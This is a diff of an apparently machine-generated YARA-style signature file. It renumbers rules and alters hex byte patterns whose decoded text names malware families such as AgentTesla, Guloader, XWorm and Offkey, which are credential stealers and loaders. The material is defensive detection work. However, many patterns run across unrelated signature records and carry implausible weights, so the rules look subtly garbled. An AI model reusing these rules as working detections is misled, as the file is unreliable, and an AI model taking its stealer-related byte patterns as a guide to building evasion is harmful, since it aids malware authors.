+106383,7 @@ rule _InfrastructureShared_9313{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*49+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_9314{ +rule _InfrastructureShared_9901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99984,19 +106395,30 @@ rule _InfrastructureShared_9314{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29285+(#a_61_2 & 1)*25972) >=3 } -rule _InfrastructureShared_9315{ +rule _InfrastructureShared_9902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 52 21 4d 54 42 00 01 00 14 81 01 41 75 74 6f 4d 75 6c 74 69 54 72 61 64 65 72 2e 44 61 74 61 01 00 19 81 01 43 72 65 61 74 65 54 61 62 6c 65 5f 41 70 70 43 6f 6e 66 69 67 44 61 74 61 01 00 } //18467 $a_41_1 = {74 } //-32473 t - $a_6c_2 = {69 54 72 61 64 65 72 2e 56 69 65 77 4d 6f 64 65 6c 73 2e 43 6f 6e 66 69 67 57 69 7a 61 72 64 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 46 31 32 33 21 4d 54 42 00 01 00 1b 81 01 6b 6c 75 6d 70 65 72 73 20 74 6e 67 20 75 6e 69 66 6f 72 6d 69 74 61 72 69 61 6e 01 00 1e 81 01 65 6d 62 } //19823 + $a_6c_2 = {69 54 72 61 64 65 72 2e 56 69 65 77 4d 6f 64 65 6c 73 2e 43 6f 6e 66 69 67 57 69 7a 61 72 64 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 49 30 31 21 4d 54 42 00 01 00 21 81 01 72 61 67 67 65 72 73 20 68 79 70 6f 70 6c 61 6e 6b 74 6f 6e 20 73 6d 75 6b 6b 65 73 65 72 69 6e 67 01 00 17 81 } //19823 condition: ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*-32473+(#a_6c_2 & 1)*19823) >=3 } -rule _InfrastructureShared_9316{ +rule _InfrastructureShared_9903{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 49 30 31 21 4d 54 42 00 01 00 21 81 01 72 61 67 67 65 72 73 20 68 79 70 6f 70 6c 61 6e 6b 74 6f 6e 20 73 6d 75 6b 6b 65 73 65 72 69 6e 67 01 00 17 81 01 74 72 65 64 76 65 72 65 20 62 75 74 69 6b } //18467 + $a_69_1 = {65 6e 64 65 01 00 1c 81 01 67 75 6c 64 62 6f 72 67 20 77 6f 72 6c 64 6c 69 6e 67 20 70 72 6f 70 61 67 61 6e 64 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 46 31 32 33 21 4d 54 42 00 01 00 1b 81 01 6b 6c 75 6d 70 65 72 73 20 74 6e 67 20 75 6e 69 66 6f 72 6d 69 74 61 72 69 61 } //25715 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25715) >=3 + +} +rule _InfrastructureShared_9904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -100008,7 +106430,7 @@ rule _InfrastructureShared_9316{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25970+(#a_75_2 & 1)*29441) >=3 } -rule _InfrastructureShared_9317{ +rule _InfrastructureShared_9905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -100020,7 +106442,7 @@ rule _InfrastructureShared_9317{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28523+(#a_20_2 & 1)*29811) >=3 } -rule _InfrastructureShared_9318{ +rule _InfrastructureShared_9906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -100032,7 +106454,7 @@ rule _InfrastructureShared_9318{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29728+(#a_5c_2 & 1)*25454) >=3 } -rule _InfrastructureShared_9319{ +rule _InfrastructureShared_9907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -100044,7 +106466,7 @@ rule _InfrastructureShared_9319{ ((#a_6f_0 & 1)*21539+(#a_74_1 & 1)*29301+(#a_32_2 & 1)*9572) >=3 } -rule _InfrastructureShared_9320{ +rule _InfrastructureShared_9908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -100056,7 +106478,7 @@ rule _InfrastructureShared_9320{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*25650+(#a_2e_2 & 1)*27765) >=3 } -rule _InfrastructureShared_9321{ +rule _InfrastructureShared_9909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -100069,7 +106491,7 @@ rule _InfrastructureShared_9321{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-32330+(#a_45_2 & 1)*-3593+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_9322{ +rule _InfrastructureShared_9910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -100082,33 +106504,22 @@ rule _InfrastructureShared_9322{ ((#a_5f_0 & 1)*25635+(#a_b6_1 & 1)*257+(#a_00_2 & 1)*3+(#a_5f_3 & 1)*16931) >=3 } -rule _InfrastructureShared_9323{ +rule _InfrastructureShared_9911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_5f_0 = {70 61 71 45 78 65 00 01 00 13 01 6a 6f 75 72 6e 61 6c 69 6e 67 20 61 72 63 68 69 76 65 72 01 00 13 01 55 73 61 67 65 3a 20 7a 70 61 71 20 63 6f 6d 6d 61 6e 64 01 00 07 01 2d 6b 65 79 20 58 20 01 00 15 01 45 78 74 72 61 63 74 2f 6c } //16931 - $a_20_1 = {65 72 73 69 6f 6e 73 01 00 0e 01 61 72 63 68 69 76 65 5b 2e 7a 70 61 71 5d 01 00 0e 01 7a 70 61 71 20 65 72 72 6f 72 3a 20 25 73 00 00 78 8b 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 49 5a 4b 21 4d 54 42 00 03 00 43 01 6f 5c 00 00 0a 06 07 16 07 8e b7 6f 5c 00 00 0a 7e 10 00 00 04 15 17 6f 63 } //29545 - $a_26_2 = {10 00 00 04 06 6f 58 00 00 0a } //0 - $a_5d_3 = {00 0a b7 16 14 fe 06 1d 00 00 06 73 48 00 00 0a 14 6f 64 00 00 0a 01 00 18 00 52 00 75 00 6e 00 42 00 6f 00 74 00 4b 00 69 00 6c 00 6c 00 65 00 72 00 00 00 78 8b 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 41 44 43 6f 6c 6c 65 63 74 6f 72 00 02 00 } //1558 - $a_41_4 = {43 } //-32501 C - $a_65_5 = {74 6f 72 02 00 0d 81 01 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 ff ff 2e 01 53 00 79 00 6d 00 61 00 6e 00 74 00 65 00 63 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 44 00 65 00 66 00 65 00 6e 00 73 00 65 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f } //27759 + $a_20_1 = {65 72 73 69 6f 6e 73 01 00 0e 01 61 72 63 68 69 76 65 5b 2e 7a 70 61 71 5d 01 00 0e 01 7a 70 61 71 20 65 72 72 6f 72 3a 20 25 73 00 00 78 8b 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 41 44 43 6f 6c 6c 65 63 74 6f 72 00 02 00 0b 81 01 41 44 43 6f 6c 6c 65 63 74 } //29545 + $a_00_2 = {0d 81 } //29295 + $a_73_3 = {6d 62 6c 79 54 69 74 6c 65 ff ff 2e 01 53 00 79 00 6d 00 61 00 6e 00 74 00 65 00 63 00 20 00 54 00 68 00 72 00 65 00 61 00 74 00 20 00 44 00 65 00 66 00 65 00 6e 00 73 00 65 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 54 00 01 00 1a 01 70 6f 6c 69 63 79 4d 61 63 68 69 } //16641 + $a_78_4 = {65 6e 73 69 6f 6e 73 4b 65 79 01 00 12 01 3c 55 70 64 61 74 65 50 6f 6c 69 63 79 3e 62 5f 5f 30 01 00 12 01 3c 53 74 61 72 74 58 54 4c 53 41 70 70 3e 62 5f 5f 30 01 00 18 03 42 72 6f 77 73 65 72 41 64 61 70 } //25966 + $a_90_5 = {0a 2e 64 6c 6c 00 90 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4f 66 66 6b 65 79 2e 41 21 64 68 61 00 01 00 20 01 47 00 65 00 74 00 4f 00 66 00 66 00 63 00 69 00 65 00 33 00 36 00 35 00 2e 00 65 00 78 00 65 00 01 00 1e 01 47 00 65 00 74 00 45 00 78 00 63 00 68 00 61 00 6e 00 67 00 } //25972 condition: - ((#a_5f_0 & 1)*16931+(#a_20_1 & 1)*29545+(#a_26_2 & 1)*0+(#a_5d_3 & 1)*1558+(#a_41_4 & 1)*-32501+(#a_65_5 & 1)*27759) >=3 + ((#a_5f_0 & 1)*16931+(#a_20_1 & 1)*29545+(#a_00_2 & 1)*29295+(#a_73_3 & 1)*16641+(#a_78_4 & 1)*25966+(#a_90_5 & 1)*25972) >=3 } -rule _InfrastructureShared_9324{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 49 5a 4b 21 4d 54 42 00 03 00 43 01 6f 5c 00 00 0a 06 07 16 07 8e b7 6f 5c 00 00 0a 7e 10 00 00 04 15 17 6f 63 00 00 0a 26 7e 10 00 00 04 06 6f 58 00 00 0a 16 06 6f 5d 00 00 } //16675 - $a_14_1 = {06 1d 00 00 06 73 48 00 00 0a 14 6f 64 00 00 0a 01 00 18 00 52 00 } //-18678 - condition: - ((#a_46_0 & 1)*16675+(#a_14_1 & 1)*-18678) >=4 - -} -rule _InfrastructureShared_9325{ +rule _InfrastructureShared_9912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -100119,7 +106530,7 @@ rule _InfrastructureShared_9325{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*12031) >=4 } -rule _InfrastructureShared_9326{ +rule _InfrastructureShared_9913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100132,7 +106543,7 @@ rule _InfrastructureShared_9326{ ((#a_46_0 & 1)*16675+(#a_3c_1 & 1)*4608+(#a_58_2 & 1)*29281+(#a_00_3 & 1)*120) >=4 } -rule _InfrastructureShared_9327{ +rule _InfrastructureShared_9914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100145,7 +106556,7 @@ rule _InfrastructureShared_9327{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_00_2 & 1)*114+(#a_4d_3 & 1)*21076) >=4 } -rule _InfrastructureShared_9328{ +rule _InfrastructureShared_9915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100153,25 +106564,38 @@ rule _InfrastructureShared_9328{ $a_6c_0 = {77 4c 69 73 74 3a 43 49 2d 54 65 63 68 6e 6f 6c 6f 67 69 65 73 00 01 00 20 01 64 00 6f 00 6e 00 6f 00 74 00 72 00 65 00 70 00 6c 00 79 00 40 00 69 00 61 00 70 00 72 00 6f 00 01 00 0c 01 49 00 41 00 2e 00 65 00 78 00 65 00 01 00 1c 01 49 00 41 00 50 00 72 00 6f 00 66 00 65 00 73 00 73 00 69 00 6f 00 6e 00 61 00 6c 00 01 00 } //16675 $a_49_1 = {54 65 63 68 6e 6f 6c 6f 67 69 65 73 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 31 34 30 39 5f 31 21 4d 54 42 00 01 00 20 00 67 00 6e 00 } //271 $a_00_2 = {74 00 53 00 34 00 36 00 65 00 73 00 61 00 42 00 6d 00 6f 00 72 00 46 00 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0c 00 65 00 6b 00 6f 00 76 00 6e 00 49 00 01 00 12 00 64 00 6f 00 68 00 74 00 65 00 4d 00 74 00 65 00 47 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //105 - $a_2e_3 = {44 53 4b 31 32 33 21 4d 54 42 00 01 00 1c 81 01 77 65 69 72 64 6f 20 64 79 73 6c 75 69 74 65 20 6b 72 79 73 74 65 72 61 67 74 69 67 01 00 0f 81 01 61 66 66 6f 6c 6b 6e 69 6e 67 65 72 6e 65 73 01 00 0a 81 01 6e 69 67 65 72 73 6b 69 6e 64 01 00 18 81 01 6b 64 65 74 72 6b 20 73 74 72 61 66 66 65 66 61 6b 74 69 6f 6e 65 72 73 00 00 78 8b 00 00 } //25956 + $a_2e_3 = {4d 4f 30 31 21 4d 54 42 00 01 00 10 81 01 63 6f 6e 73 70 69 72 61 74 6f 72 73 20 72 65 73 01 00 1a 81 01 72 65 74 6f 72 69 73 6b 20 6f 6d 6b 72 65 64 73 6e 69 6e 67 20 6d 67 74 69 67 01 00 0e 81 01 74 69 6e 69 65 20 63 61 6d 70 75 73 65 64 01 00 17 81 01 6b 6c 73 76 69 6e 5c 74 76 61 6e 67 73 6d 69 64 6c 65 74 2e 65 78 65 00 00 78 8b 00 00 } //25956 condition: ((#a_6c_0 & 1)*16675+(#a_49_1 & 1)*271+(#a_00_2 & 1)*105+(#a_2e_3 & 1)*25956) >=4 } -rule _InfrastructureShared_9329{ +rule _InfrastructureShared_9916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 52 31 34 30 39 5f 31 21 4d 54 42 00 01 00 20 00 67 00 6e 00 69 00 72 00 74 00 53 00 34 00 36 00 65 00 73 00 61 00 42 00 6d 00 6f 00 72 00 46 00 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 } //18467 - $a_65_1 = {00 0c 00 65 00 6b 00 6f 00 76 00 6e 00 49 00 01 00 12 00 64 00 6f 00 68 00 74 00 65 00 4d 00 74 00 65 00 47 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 4b 31 32 33 21 4d 54 42 00 01 00 1c 81 01 77 65 69 72 64 6f 20 64 79 73 6c 75 69 74 65 20 6b 72 79 73 74 65 72 61 67 74 69 67 01 00 0f 81 01 61 } //26988 - $a_6c_2 = {6e 69 6e 67 65 72 6e 65 73 01 00 0a 81 01 6e 69 67 65 72 73 6b 69 6e 64 01 00 18 81 01 6b 64 65 74 72 6b 20 73 74 72 61 66 66 65 66 61 6b 74 69 6f 6e 65 72 73 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 56 31 32 33 21 4d 54 42 00 01 00 0c 81 01 73 75 6b 6b 65 72 67 } //26214 - $a_75_3 = {01 00 1a 81 01 62 69 64 72 61 67 73 70 6c 69 67 74 69 67 65 73 20 62 72 61 6b 65 73 6d 65 6e 01 00 0b 81 01 6b 75 6e 73 74 70 61 75 73 65 73 01 00 1c 81 01 62 6c 61 64 6e 69 6e 67 65 6e 20 6e 6f 6e 73 65 6e 73 69 66 79 20 6d 61 6c 69 6e 67 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b } //24940 + $a_65_1 = {00 0c 00 65 00 6b 00 6f 00 76 00 6e 00 49 00 01 00 12 00 64 00 6f 00 68 00 74 00 65 00 4d 00 74 00 65 00 47 00 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4f 30 31 21 4d 54 42 00 01 00 10 81 01 63 6f 6e 73 70 69 72 61 74 6f 72 73 20 72 65 73 01 00 1a 81 01 72 65 74 6f 72 69 73 6b 20 6f 6d 6b 72 65 64 } //26988 + $a_6e_2 = {20 6d 67 74 69 67 01 00 0e 81 01 74 69 6e 69 65 20 63 61 6d 70 75 73 65 64 01 00 17 81 01 6b 6c 73 76 69 6e 5c 74 76 61 6e 67 73 6d 69 64 6c 65 74 2e 65 78 65 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 4b 31 32 33 21 4d 54 42 00 01 00 1c 81 01 77 } //28275 + $a_64_3 = {20 64 79 73 6c 75 69 74 65 20 6b 72 79 73 74 65 72 61 67 74 69 67 01 00 0f 81 01 61 66 66 6f 6c 6b 6e 69 6e 67 65 72 6e 65 73 01 00 0a 81 01 6e 69 67 65 72 73 6b 69 6e 64 01 00 18 81 01 6b 64 65 74 72 6b 20 73 74 72 61 66 66 65 66 61 6b 74 69 6f 6e 65 72 73 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //26981 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_6c_2 & 1)*26214+(#a_75_3 & 1)*24940) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_6e_2 & 1)*28275+(#a_64_3 & 1)*26981) >=4 } -rule _InfrastructureShared_9330{ +rule _InfrastructureShared_9917{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4f 30 31 21 4d 54 42 00 01 00 10 81 01 63 6f 6e 73 70 69 72 61 74 6f 72 73 20 72 65 73 01 00 1a 81 01 72 65 74 6f 72 69 73 6b 20 6f 6d 6b 72 65 64 73 6e 69 6e 67 20 6d 67 74 69 67 01 00 0e 81 01 } //18467 + $a_69_1 = {20 63 61 6d 70 75 73 65 64 01 00 17 81 01 6b 6c 73 76 69 6e 5c 74 76 61 6e 67 73 6d 69 64 6c 65 74 2e 65 78 65 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 4b 31 32 33 21 4d 54 42 00 01 00 1c 81 01 77 65 69 72 64 6f 20 64 79 73 6c 75 69 74 65 20 6b 72 79 73 74 65 } //26996 + $a_74_2 = {67 01 00 0f 81 01 61 66 66 6f 6c 6b 6e 69 6e 67 65 72 6e 65 73 01 00 0a 81 01 6e 69 67 65 72 73 6b 69 6e 64 01 00 18 81 01 6b 64 65 74 72 6b 20 73 74 72 61 66 66 65 66 61 6b 74 69 6f 6e 65 72 73 00 00 78 8b 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 56 } //24946 + $a_21_3 = {54 42 00 01 00 0c 81 01 73 75 6b 6b 65 72 67 6c 61 73 75 72 01 00 1a 81 01 62 69 64 72 61 67 73 70 6c 69 67 74 69 67 65 73 20 62 72 61 6b 65 73 6d 65 6e } //12849 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26996+(#a_74_2 & 1)*24946+(#a_21_3 & 1)*12849) >=4 + +} +rule _InfrastructureShared_9918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100184,7 +106608,7 @@ rule _InfrastructureShared_9330{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*-32502+(#a_6b_2 & 1)*29285+(#a_61_3 & 1)*25120) >=4 } -rule _InfrastructureShared_9331{ +rule _InfrastructureShared_9919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100197,7 +106621,7 @@ rule _InfrastructureShared_9331{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29550+(#a_63_2 & 1)*24950+(#a_61_3 & 1)*25717) >=4 } -rule _InfrastructureShared_9332{ +rule _InfrastructureShared_9920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100210,7 +106634,7 @@ rule _InfrastructureShared_9332{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*-32489+(#a_74_2 & 1)*8293+(#a_72_3 & 1)*26478) >=4 } -rule _InfrastructureShared_9333{ +rule _InfrastructureShared_9921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100223,7 +106647,7 @@ rule _InfrastructureShared_9333{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25966+(#a_75_2 & 1)*23554+(#a_74_3 & 1)*17268) >=4 } -rule _InfrastructureShared_9334{ +rule _InfrastructureShared_9922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100236,7 +106660,7 @@ rule _InfrastructureShared_9334{ ((#a_41_0 & 1)*20515+(#a_4b_1 & 1)*29477+(#a_41_2 & 1)*26967+(#a_33_3 & 1)*26967) >=4 } -rule _InfrastructureShared_9335{ +rule _InfrastructureShared_9923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100249,7 +106673,7 @@ rule _InfrastructureShared_9335{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*-32497+(#a_43_2 & 1)*25966+(#a_5c_3 & 1)*13165) >=4 } -rule _InfrastructureShared_9336{ +rule _InfrastructureShared_9924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -100261,7 +106685,7 @@ rule _InfrastructureShared_9336{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29513+(#a_4f_2 & 1)*12851) >=4 } -rule _InfrastructureShared_9337{ +rule _InfrastructureShared_9925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -100269,13 +106693,13 @@ rule _InfrastructureShared_9337{ $a_54_0 = {3a 50 57 53 3a 57 69 6e 33 32 2f 4f 6e 4c 69 6e 65 47 61 6d 65 73 2e 67 65 6e 21 42 00 01 00 05 00 b2 01 b0 01 e8 01 00 0c 01 45 6e 48 6f 6f 6b 57 69 6e 64 6f 77 01 00 11 02 68 d0 07 00 00 e8 90 01 04 90 03 01 01 eb e9 90 00 01 00 11 02 68 e8 03 00 } //18467 $a_01_1 = {04 90 03 01 01 eb e9 90 00 01 00 19 02 54 6a 00 6a 00 68 90 01 04 6a 00 6a 00 e8 90 01 04 81 c4 08 01 00 00 90 00 00 00 78 8b 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4b 50 21 4d 54 42 00 01 00 09 80 01 35 31 78 75 61 6e 62 69 6e 01 00 0f 80 01 74 6a 2e 70 65 69 6c 61 6e 63 61 6f 2e 63 6e 01 00 0a 80 01 43 6c 69 50 72 61 5f 49 6e 5f 01 00 0b 80 01 43 49 63 6f 50 72 6f } //-6144 $a_65_2 = {ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 00 00 78 8b 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 34 39 00 01 00 05 80 01 4b 38 54 69 70 01 00 09 80 01 4b 38 54 69 70 2e 65 78 65 01 00 0d 80 01 4b 38 54 72 61 79 53 6f } //25902 - $a_6e_3 = {01 00 0c 80 01 40 47 4d 4b 75 61 69 42 61 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //29798 - $a_2e_4 = {53 45 50 21 4d 54 42 00 05 00 59 03 06 16 9a 6f 90 01 03 0a 6f 90 01 03 0a 0b 72 90 01 03 70 07 72 90 01 03 70 28 90 01 03 0a 0b 73 90 01 03 0a 0c 07 19 17 73 90 01 03 0a 0d 09 6f 90 01 03 0a d4 8d 90 01 03 01 13 04 09 11 04 16 11 04 8e 69 28 90 01 03 0a 6f 90 01 03 0a 26 08 11 04 16 11 04 } //27763 + $a_6e_3 = {01 00 0c 80 01 40 47 4d 4b 75 61 69 42 61 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 } //29798 + $a_75_4 = {69 62 61 2e 4b 53 37 31 00 01 00 06 80 01 4b 38 4d 69 6e 69 01 00 0a 80 01 4b 38 4d 69 6e 69 2e 65 78 65 01 00 08 80 01 4b 38 47 4d 2e 65 78 65 01 00 0f 80 01 4b 38 42 75 67 52 65 70 6f 72 74 2e 65 78 65 9c ff 0a 80 01 55 6e } //12082 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-6144+(#a_65_2 & 1)*25902+(#a_6e_3 & 1)*29798+(#a_2e_4 & 1)*27763) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-6144+(#a_65_2 & 1)*25902+(#a_6e_3 & 1)*29798+(#a_75_4 & 1)*12082) >=4 } -rule _InfrastructureShared_9338{ +rule _InfrastructureShared_9926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -100290,21 +106714,37 @@ rule _InfrastructureShared_9338{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*-100+(#a_80_3 & 1)*-100+(#a_8b_4 & 1)*0+(#a_80_5 & 1)*-100) >=4 } -rule _InfrastructureShared_9339{ +rule _InfrastructureShared_9927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 34 39 00 01 00 05 80 01 4b 38 54 69 70 01 00 09 80 01 4b 38 54 69 70 2e 65 78 65 01 00 0d 80 01 4b 38 54 72 61 79 53 6f 66 74 57 6e 64 01 } //16675 - $a_01_1 = {40 47 4d 4b 75 61 69 42 61 57 6e 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8b 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 53 45 50 21 4d 54 42 00 05 00 59 03 06 16 9a 6f 90 01 03 0a 6f 90 01 03 0a 0b 72 90 01 03 70 07 72 90 01 03 70 28 90 01 03 } //3072 - $a_90_2 = {03 0a 0c 07 19 17 73 90 01 03 0a 0d 09 6f 90 01 03 0a d4 8d 90 01 03 01 13 04 09 11 04 16 11 04 8e 69 28 90 01 03 0a 6f 90 01 03 0a 26 08 11 04 16 11 04 8e 